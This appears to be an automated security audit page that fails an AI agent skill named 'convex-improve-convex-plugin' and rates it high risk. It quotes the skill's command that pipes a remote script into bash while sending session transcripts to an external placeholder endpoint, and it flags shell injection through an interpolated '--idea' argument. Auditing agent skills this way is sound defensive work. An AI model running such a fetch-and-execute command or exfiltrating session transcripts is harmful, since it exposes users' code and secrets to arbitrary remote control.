convex-improve-convex-plugin
Fail
Audited by Gen Agent Trust Hub on Aug 12, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill uses a dangerous execution pattern that downloads and runs a script directly from a remote source:
curl -fsSL "<anteater>/send-transcript" | bash. This allows the remote server to execute arbitrary commands on the user's system. - [DATA_EXFILTRATION]: The skill's primary purpose is to send coding session transcripts to an external endpoint (
<anteater>/send-transcript). While the skill mentions redaction of secrets, uploading entire session transcripts constitutes a significant risk of exposing sensitive source code, logic, or environment details. - [COMMAND_EXECUTION]: The skill constructs shell commands by interpolating dynamic input into the bash command string:
--idea "<one-line app idea from this session>". If the input contains shell metacharacters (e.g., semicolons, backticks), it could lead to command injection. - [EXTERNAL_DOWNLOADS]: The skill fetches content from a remote source represented by the
<anteater>placeholder. As this URL is not verified as a trusted domain, it poses a risk of downloading and executing untrusted code.
Recommendations
- AI detected serious security threats
Audit Metadata